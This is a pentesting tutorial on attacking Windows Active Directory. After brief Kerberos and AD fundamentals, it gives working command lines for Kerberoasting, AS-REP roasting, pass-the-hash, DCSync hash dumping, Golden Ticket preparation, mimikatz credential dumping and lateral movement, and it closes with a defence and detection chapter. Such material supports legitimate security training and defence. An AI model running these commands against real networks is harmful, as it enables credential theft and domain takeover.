Windows Active Directory for Pentesters

Chapter 1 — AD Fundamentals

# Active Directory = Microsoft's directory service for managing Windows networks

# Key components:
Domain Controller (DC) → server running AD DS; manages authentication
Domain              → e.g. CORP.LOCAL — logical boundary for AD
Forest              → collection of domains sharing schema
OU (Org Unit)       → container for organising objects (like folders)
GPO                 → Group Policy Object — settings pushed to all machines

# AD objects:
Users    → People + service accounts (svc_sql, svc_web)
Computers → Domain-joined workstations and servers
Groups   → Collection of users/computers
→ Security groups: grant permissions
→ Distribution groups: email lists

# Privileged groups (pentest targets):
Domain Admins → full control of domain
Enterprise Admins → full control of forest
Schema Admins → can modify AD schema
Administrators → local admin on DC

Chapter 2 — Kerberos Authentication

# Kerberos = ticket-based auth protocol (port 88)
# Understanding it is crucial to understanding AD attacks

1. Authentication Service (AS) Exchange:
   User → DC: "I'm Alice, here's my password hash (AS-REQ)"
   DC  → User: "Here's your TGT" (Ticket Granting Ticket)

2. Ticket Granting Service (TGS) Exchange:
   User → DC: "I want to access the SQL server" (TGS-REQ with TGT)
   DC  → User: "Here's a service ticket for SQL" (TGS-REP)

3. Application Request:
   User → SQL Server: "Here's my ticket" (AP-REQ)
   SQL Server verifies ticket → grants access

# Key attack points:
# TGT encrypted with KRBTGT hash → Golden Ticket attack
# Service ticket encrypted with SERVICE ACCOUNT HASH → Kerberoasting
# AS-REQ can be made without pre-auth → ASREPRoasting

Chapter 3 — AD Enumeration

# With a foothold (domain user credentials)
# Even a low-privilege user can enumerate almost everything in AD!

# PowerView (PowerShell) — most powerful AD enum tool
Import-Module .\PowerView.ps1

Get-Domain                    # domain info
Get-DomainController          # DC info
Get-DomainUser                # all users
Get-DomainUser -SPN           # service accounts (Kerberoasting targets)
Get-DomainGroup               # all groups
Get-DomainGroup "Domain Admins" | Select-Object Member
Get-DomainComputer            # all computers
Get-DomainGPO                 # Group Policy Objects
Find-LocalAdminAccess         # where do you have local admin?

# From Linux with valid credentials:
# crackmapexec
crackmapexec smb 192.168.1.0/24 -u alice -p Password123
crackmapexec smb DC_IP -u alice -p Password123 --users
crackmapexec smb DC_IP -u alice -p Password123 --groups

# ldapsearch (query AD via LDAP)
ldapsearch -x -H ldap://DC_IP -D "alice@corp.local" -w Password123 \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName

Chapter 4 — BloodHound

# BloodHound maps AD relationships and finds attack paths to DA

# Step 1: Collect data with SharpHound (Windows)
.\SharpHound.exe --CollectionMethods All --Domain corp.local
# Outputs: 20240615_BloodHound.zip

# Or from Linux with BloodHound.py:
pip3 install bloodhound
bloodhound-python -u alice -p Password123 -d corp.local -ns DC_IP -c All

# Step 2: Start neo4j and BloodHound
sudo neo4j start
bloodhound &
# Upload the zip file → Drag and drop into BloodHound

# Step 3: Useful queries in BloodHound:
Find All Domain Admins
Find Shortest Paths to Domain Admins
Find Principals with DCSync Rights
Find Computers where Domain Users are Local Admin
Find AS-REP Roastable Users
Find Kerberoastable Users

# BloodHound shows: Alice → MemberOf → IT_ADMINS → AdminTo → FILESERVER01
# Then: FILESERVER01 → has session → Domain Admin
# Attack path: compromise Alice → pivot to FILESERVER01 → steal DA creds

Chapter 5 — Kerberoasting

# Service accounts have SPNs (Service Principal Names)
# Anyone can request a service ticket for any SPN
# Ticket is encrypted with SERVICE ACCOUNT'S NTLM hash
# Take ticket offline → crack hash → get plaintext password

# Impacket GetUserSPNs.py (from Linux)
GetUserSPNs.py corp.local/alice:Password123 -dc-ip DC_IP -request
# Outputs Kerberos hashes:
# $krb5tgs$23$*svc_sql$CORP.LOCAL$corp.local/svc_sql*$...

# PowerView (from Windows)
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv spns.csv

# Crack with hashcat (mode 13100 = Kerberoasting)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# If cracked: svc_sql's password is "Summer2024!"

# Defence: use very long random service account passwords (25+ chars)
# Managed Service Accounts (MSA) rotate automatically — use them!

Chapter 6 — ASREPRoasting

# Users with "Do not require Kerberos pre-authentication" can be attacked
# No credentials needed — just a username!

# From Linux with impacket:
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip DC_IP -no-pass
# Returns AS-REP hashes for vulnerable accounts

# If you have credentials already, find all vulnerable accounts:
GetNPUsers.py corp.local/alice:Password123 -dc-ip DC_IP -request

# Crack with hashcat (mode 18200 = AS-REP)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# With PowerView:
Get-DomainUser -PreauthNotRequired

Chapter 7 — Pass the Hash (PtH)

# You have an NTLM hash but don't know the plaintext password
# NTLM authentication works with the hash directly — no cracking needed!

# Extract hashes from local SAM (requires local admin):
secretsdump.py -sam SAM -system SYSTEM LOCAL
# Or from a live system:
secretsdump.py administrator:Password123@192.168.1.10
# Output: Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

# Format: Username:RID:LM_HASH:NT_HASH
# The NT hash (last part) is what you use for PtH

# PtH with crackmapexec:
crackmapexec smb 192.168.1.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c
# [+] 192.168.1.50  Administrator (Pwn3d!) ← you have local admin!

# PtH with impacket psexec:
psexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c administrator@192.168.1.50

Chapter 8 — DCSync Attack

# DCSync mimics a Domain Controller replication request
# Dump all password hashes from AD (including KRBTGT → Golden Ticket)
# Requires: Domain Admin OR DCSync rights (Replication privileges)

# Dump all hashes from DC:
secretsdump.py -just-dc corp.local/administrator:Password123@DC_IP

# Get KRBTGT hash (for Golden Ticket):
secretsdump.py -just-dc-user krbtgt corp.local/administrator:Password123@DC_IP
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:KRBTGT_HASH:::

# With mimikatz (on Windows):
lsadump::dcsync /domain:corp.local /user:krbtgt

# KRBTGT hash → create Golden Ticket → unlimited DA access
# (valid until KRBTGT password changes twice)

Chapter 9 — Lateral Movement

# Moving from one machine to another in the network

# WMI execution (Windows Management Instrumentation)
wmiexec.py corp.local/administrator:Password123@192.168.1.50
# or PtH:
wmiexec.py -hashes :NTHASH administrator@192.168.1.50

# SMB execution
psexec.py corp.local/administrator:Password123@192.168.1.50
smbexec.py corp.local/administrator:Password123@192.168.1.50

# RDP with stolen credentials
xfreerdp /u:administrator /p:Password123 /v:192.168.1.50

# Evil-WinRM (PowerShell remoting over WinRM port 5985)
evil-winrm -i 192.168.1.50 -u administrator -p Password123
evil-winrm -i 192.168.1.50 -u administrator -H NTHASH

# Once on machine — check for more credentials:
mimikatz: sekurlsa::logonpasswords   → dump credentials from memory
          sekurlsa::wdigest          → plaintext passwords (legacy)
          lsadump::sam               → local SAM database

Chapter 10 — AD Defence

# Defending Active Directory

Tiered Admin Model:
  Tier 0: Domain Controllers + Domain Admins (most privileged)
  Tier 1: Servers + Server Admins
  Tier 2: Workstations + Helpdesk
  Rule: Tier 0 admins NEVER log into Tier 1/2 machines
  (prevents hash theft from compromised workstations)

# Technical controls:
→ Credential Guard    : protects LSASS, prevents mimikatz
→ PAW                 : Privileged Access Workstations
→ LAPS                : randomises local admin passwords per machine
→ Microsoft ATA/MDI   : detects Kerberoasting, PtH, DCSync attempts
→ Audit Logging       : log all privileged account usage
→ Disable NTLM        : force Kerberos (harder to PtH)
→ Service accounts    : use MSA/gMSA with 120-char auto-rotated passwords
→ Protected Users group: prevents caching of credentials

# Detection indicators (Blue Team):
Kerberoasting  → Event 4769 (TGS request) with RC4 encryption type
ASREPRoasting  → Event 4768 with Pre-auth type 0
DCSync         → Event 4662 (replication rights used from non-DC)
Pass-the-Hash  → Event 4624 logon type 3, NTLM, no logon hours